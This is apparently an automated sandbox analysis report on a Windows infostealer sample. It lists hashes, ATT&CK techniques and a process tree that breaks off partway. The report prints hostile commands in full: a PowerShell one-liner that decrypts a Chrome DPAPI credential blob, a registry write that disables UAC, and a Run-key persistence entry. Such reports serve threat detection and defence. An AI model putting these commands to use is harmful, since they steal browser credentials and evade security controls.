13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680

Analysis

max time kernel
149s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
06/07/2026, 07:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
Size 37.6MB
Sample260706-jvsrssbv91
SHA256 13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680
MD5 cd5108fa41f02dc29296654d6fec5b5f
SHA1 f07c771bf5e3aa1e97ea1e1254b8b3089c910905
SHA512 2fce6ed94a174154b87e0a6449fe7c8fe0796c0cf75b32b97eb8a4c45ecad6cc7d907e0eaffa8a66a11e9c97550ea64ac9266a81a36ea7608f1942dbdff77f13
SSDEEP 786432:F3on1HvSzxAMNgFZArYsxbY3WLET4CXubf:FYn1HvSpNgXmxiDT49
TLSH
T13887AE03B2A501E5E4B7D1388AA74603D772B8674731CACF325D02161FBBAE09A7F765
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence spyware stealer trojan

Malware Config

Signatures

UAC bypass 3 TTPs 2 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4120	powershell.exe
1900	powershell.exe
452	powershell.exe
1700	powershell.exe
4368	powershell.exe
220	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe

Executes dropped EXE 4 IoCs

pid	Process
4688	python-installer.exe
3996	python-installer.exe
1744	python-installer.exe
1952	python-installer.exe

Loads dropped DLL 4 IoCs

pid	Process
1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
3996	python-installer.exe
1952	python-installer.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\\python-3.12.6-amd64.exe\" /burn.runonce"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680 = "C:\\ProgramData\\Update.vbs"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4} = "\"C:\\Users\\Admin\\AppData\\Local\\Package Cache\\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}\\python-3.12.6-amd64.exe\" /burn.runonce"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680 = "C:\\ProgramData\\Update.vbs"	reg.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
24	1244	msiexec.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe

An obfuscated cmd.exe command-line is typically used to evade detection. 4 IoCs

pid	Process
4800	cmd.exe
3772	cmd.exe
4000	cmd.exe
640	cmd.exe

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\BmAvdXzllf.txt	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
File created	C:\Windows\System32\2N84FkT3xD.txt	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
File opened for modification	C:\Windows\System32\2N84FkT3xD.txt	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
File created	C:\Windows\System32\BmAvdXzllf.txt	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

discovery

Process Discovery

T1057

pid	Process
4500	tasklist.exe
4464	tasklist.exe
4384	tasklist.exe
1140	tasklist.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e58c4c2.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c4c2.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e58c4c3.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{901B913C-FA63-48D2-9842-7D7676739378}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIF865.tmp	msiexec.exe
File created	C:\Windows\Installer\e58c4c3.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\e58c4c7.msi	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	python-installer.exe

Modifies registry class 26 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.6150.0"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\ = "{901B913C-FA63-48D2-9842-7D7676739378}"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\DisplayName = "Python 3.12.6 Core Interpreter (64-bit)"	python-installer.exe
Key deleted	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\ = "{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\DisplayName = "Python 3.12.6 (64-bit)"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}	python-installer.exe
Key deleted	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\Version = "3.12.6150.0"	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\Version = "3.12.6150.0"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\DisplayName = "Python 3.12.6 Core Interpreter (64-bit)"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\Version = "3.12.6150.0"	python-installer.exe
Key deleted	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\DisplayName = "Python 3.12.6 (64-bit)"	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\{901B913C-FA63-48D2-9842-7D7676739378}\ = "{901B913C-FA63-48D2-9842-7D7676739378}"	python-installer.exe
Key deleted	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\Dependents\{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}	python-installer.exe
Key created	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer	python-installer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000_Classes\Installer\Dependencies\CPython-3.12\ = "{316e3b12-1191-47df-b9d4-dcf0bf2f6cc4}"	python-installer.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
4368	powershell.exe
4368	powershell.exe
3800	powershell.exe
3800	powershell.exe
3352	powershell.exe
3352	powershell.exe
4120	powershell.exe
4120	powershell.exe
1900	powershell.exe
1900	powershell.exe
220	powershell.exe
220	powershell.exe
1244	msiexec.exe
1244	msiexec.exe
2892	powershell.exe
2892	powershell.exe
2892	powershell.exe
1696	powershell.exe
1696	powershell.exe
1696	powershell.exe
452	powershell.exe
452	powershell.exe
1700	powershell.exe
1700	powershell.exe
1244	msiexec.exe
1244	msiexec.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4368	powershell.exe
Token: SeIncreaseQuotaPrivilege	2284	WMIC.exe
Token: SeSecurityPrivilege	2284	WMIC.exe
Token: SeTakeOwnershipPrivilege	2284	WMIC.exe
Token: SeLoadDriverPrivilege	2284	WMIC.exe
Token: SeSystemProfilePrivilege	2284	WMIC.exe
Token: SeSystemtimePrivilege	2284	WMIC.exe
Token: SeProfSingleProcessPrivilege	2284	WMIC.exe
Token: SeIncBasePriorityPrivilege	2284	WMIC.exe
Token: SeCreatePagefilePrivilege	2284	WMIC.exe
Token: SeBackupPrivilege	2284	WMIC.exe
Token: SeRestorePrivilege	2284	WMIC.exe
Token: SeShutdownPrivilege	2284	WMIC.exe
Token: SeDebugPrivilege	2284	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2284	WMIC.exe
Token: SeRemoteShutdownPrivilege	2284	WMIC.exe
Token: SeUndockPrivilege	2284	WMIC.exe
Token: SeManageVolumePrivilege	2284	WMIC.exe
Token: 33	2284	WMIC.exe
Token: 34	2284	WMIC.exe
Token: 35	2284	WMIC.exe
Token: 36	2284	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2284	WMIC.exe
Token: SeSecurityPrivilege	2284	WMIC.exe
Token: SeTakeOwnershipPrivilege	2284	WMIC.exe
Token: SeLoadDriverPrivilege	2284	WMIC.exe
Token: SeSystemProfilePrivilege	2284	WMIC.exe
Token: SeSystemtimePrivilege	2284	WMIC.exe
Token: SeProfSingleProcessPrivilege	2284	WMIC.exe
Token: SeIncBasePriorityPrivilege	2284	WMIC.exe
Token: SeCreatePagefilePrivilege	2284	WMIC.exe
Token: SeBackupPrivilege	2284	WMIC.exe
Token: SeRestorePrivilege	2284	WMIC.exe
Token: SeShutdownPrivilege	2284	WMIC.exe
Token: SeDebugPrivilege	2284	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2284	WMIC.exe
Token: SeRemoteShutdownPrivilege	2284	WMIC.exe
Token: SeUndockPrivilege	2284	WMIC.exe
Token: SeManageVolumePrivilege	2284	WMIC.exe
Token: 33	2284	WMIC.exe
Token: 34	2284	WMIC.exe
Token: 35	2284	WMIC.exe
Token: 36	2284	WMIC.exe
Token: SeDebugPrivilege	4464	tasklist.exe
Token: SeDebugPrivilege	4384	tasklist.exe
Token: SeDebugPrivilege	3800	powershell.exe
Token: SeDebugPrivilege	3352	powershell.exe
Token: SeIncreaseQuotaPrivilege	2688	WMIC.exe
Token: SeSecurityPrivilege	2688	WMIC.exe
Token: SeTakeOwnershipPrivilege	2688	WMIC.exe
Token: SeLoadDriverPrivilege	2688	WMIC.exe
Token: SeSystemProfilePrivilege	2688	WMIC.exe
Token: SeSystemtimePrivilege	2688	WMIC.exe
Token: SeProfSingleProcessPrivilege	2688	WMIC.exe
Token: SeIncBasePriorityPrivilege	2688	WMIC.exe
Token: SeCreatePagefilePrivilege	2688	WMIC.exe
Token: SeBackupPrivilege	2688	WMIC.exe
Token: SeRestorePrivilege	2688	WMIC.exe
Token: SeShutdownPrivilege	2688	WMIC.exe
Token: SeDebugPrivilege	2688	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2688	WMIC.exe
Token: SeRemoteShutdownPrivilege	2688	WMIC.exe
Token: SeUndockPrivilege	2688	WMIC.exe
Token: SeManageVolumePrivilege	2688	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1084 wrote to memory of 4012	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	88
PID 4012 wrote to memory of 4368	4012	cmd.exe	89
PID 4368 wrote to memory of 1108	4368	powershell.exe	90
PID 1108 wrote to memory of 2480	1108	csc.exe	91
PID 1084 wrote to memory of 4852	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	92
PID 4852 wrote to memory of 2284	4852	cmd.exe	93
PID 1084 wrote to memory of 2312	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	94
PID 2312 wrote to memory of 4464	2312	cmd.exe	95
PID 1084 wrote to memory of 4724	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	97
PID 1084 wrote to memory of 4800	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	98
PID 4800 wrote to memory of 3800	4800	cmd.exe	99
PID 4724 wrote to memory of 4384	4724	cmd.exe	100
PID 1084 wrote to memory of 3772	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	101
PID 3772 wrote to memory of 3352	3772	cmd.exe	102
PID 1084 wrote to memory of 4824	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	103
PID 4824 wrote to memory of 2432	4824	cmd.exe	104
PID 1084 wrote to memory of 2388	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	105
PID 1084 wrote to memory of 1220	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	106
PID 1084 wrote to memory of 3520	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	107
PID 2388 wrote to memory of 2688	2388	cmd.exe	108
PID 3520 wrote to memory of 4120	3520	cmd.exe	109
PID 1220 wrote to memory of 4224	1220	cmd.exe	110
PID 1084 wrote to memory of 2068	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	112
PID 2068 wrote to memory of 1900	2068	cmd.exe	114
PID 3004 wrote to memory of 4248	3004	WScript.exe	115
PID 1084 wrote to memory of 3732	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	117
PID 1084 wrote to memory of 4884	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	119
PID 3732 wrote to memory of 2320	3732	cmd.exe	120
PID 1084 wrote to memory of 3884	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	121
PID 4884 wrote to memory of 448	4884	cmd.exe	184
PID 4248 wrote to memory of 224	4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	123
PID 224 wrote to memory of 220	224	cmd.exe	124
PID 1084 wrote to memory of 5044	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	127
PID 5044 wrote to memory of 3332	5044	cmd.exe	128
PID 1084 wrote to memory of 3548	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	129
PID 3548 wrote to memory of 4628	3548	cmd.exe	130
PID 1084 wrote to memory of 1128	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	131
PID 1128 wrote to memory of 2880	1128	cmd.exe	132
PID 1084 wrote to memory of 3800	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	133
PID 3800 wrote to memory of 4048	3800	cmd.exe	189
PID 1084 wrote to memory of 2968	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	135
PID 2968 wrote to memory of 1560	2968	cmd.exe	136
PID 1084 wrote to memory of 4688	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	137
PID 220 wrote to memory of 1824	220	powershell.exe	138
PID 4688 wrote to memory of 3996	4688	python-installer.exe	139
PID 1824 wrote to memory of 3816	1824	csc.exe	141
PID 4248 wrote to memory of 2568	4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	143
PID 4248 wrote to memory of 5008	4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	144
PID 2568 wrote to memory of 4588	2568	cmd.exe	145
PID 5008 wrote to memory of 1140	5008	cmd.exe	146
PID 4248 wrote to memory of 4364	4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	149
PID 4248 wrote to memory of 4000	4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	150
PID 4000 wrote to memory of 2892	4000	cmd.exe	190
PID 4364 wrote to memory of 4500	4364	cmd.exe	152
PID 1084 wrote to memory of 564	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	153
PID 1084 wrote to memory of 1496	1084	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	154
PID 1496 wrote to memory of 2920	1496	cmd.exe	155
PID 4248 wrote to memory of 640	4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	157
PID 640 wrote to memory of 1696	640	cmd.exe	158
PID 4248 wrote to memory of 3236	4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	160
PID 3236 wrote to memory of 2988	3236	cmd.exe	161
PID 4248 wrote to memory of 2140	4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	162
PID 4248 wrote to memory of 1284	4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	163
PID 4248 wrote to memory of 3872	4248	13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe	164

C:\Users\Admin\AppData\Local\Temp\13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe
"C:\Users\Admin\AppData\Local\Temp\13b8f6d34024fc4636e2d825bacb0e793a7d5d134340b544c881313afc263680.exe"
1⤵
- Checks computer location settings
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\tCg4Td4skC.ps1""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\tCg4Td4skC.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4368
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\b1oamkyv\b1oamkyv.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1108
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9045.tmp" "c:\Users\Admin\AppData\Local\Temp\b1oamkyv\CSCB2DCADAE7FB34A4A924C6B218FD1EF2.TMP"
        5⤵
        
        PID:2480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get serialnumber"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic diskdrive get serialnumber
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2284
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2312
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4464
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "tasklist"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4724
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:4384
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,144,142,23,158,233,210,20,70,151,142,133,181,22,179,158,232,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,220,87,235,231,225,124,145,47,199,32,49,109,251,39,139,84,222,232,125,132,32,20,183,9,216,219,250,206,226,210,85,2,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,224,189,203,148,172,31,165,4,203,240,254,238,245,60,49,80,110,76,163,185,208,168,42,223,249,178,80,137,40,25,123,44,48,0,0,0,176,123,16,167,221,43,36,88,170,129,160,158,242,231,136,33,64,156,3,243,35,232,238,207,223,205,151,237,174,18,225,143,200,82,96,185,172,234,72,142,67,131,22,79,179,182,221,66,64,0,0,0,128,28,107,209,106,30,12,62,1,236,97,87,139,165,248,252,132,235,225,235,235,107,9,175,101,36,47,41,154,243,30,210,115,214,166,242,104,184,7,155,60,251,58,175,220,59,117,185,231,64,220,37,138,109,138,21,187,183,131,77,196,110,106,53), $null, 'CurrentUser')"
  2⤵
  - An obfuscated cmd.exe command-line is typically used to evade detection.
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,144,142,23,158,233,210,20,70,151,142,133,181,22,179,158,232,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,220,87,235,231,225,124,145,47,199,32,49,109,251,39,139,84,222,232,125,132,32,20,183,9,216,219,250,206,226,210,85,2,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,224,189,203,148,172,31,165,4,203,240,254,238,245,60,49,80,110,76,163,185,208,168,42,223,249,178,80,137,40,25,123,44,48,0,0,0,176,123,16,167,221,43,36,88,170,129,160,158,242,231,136,33,64,156,3,243,35,232,238,207,223,205,151,237,174,18,225,143,200,82,96,185,172,234,72,142,67,131,22,79,179,182,221,66,64,0,0,0,128,28,107,209,106,30,12,62,1,236,97,87,139,165,248,252,132,235,225,235,235,107,9,175,101,36,47,41,154,243,30,210,115,214,166,242,104,184,7,155,60,251,58,175,220,59,117,185,231,64,220,37,138,109,138,21,187,183,131,77,196,110,106,53), $null, 'CurrentUser')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3800
- C:\Windows\system32\cmd.exe
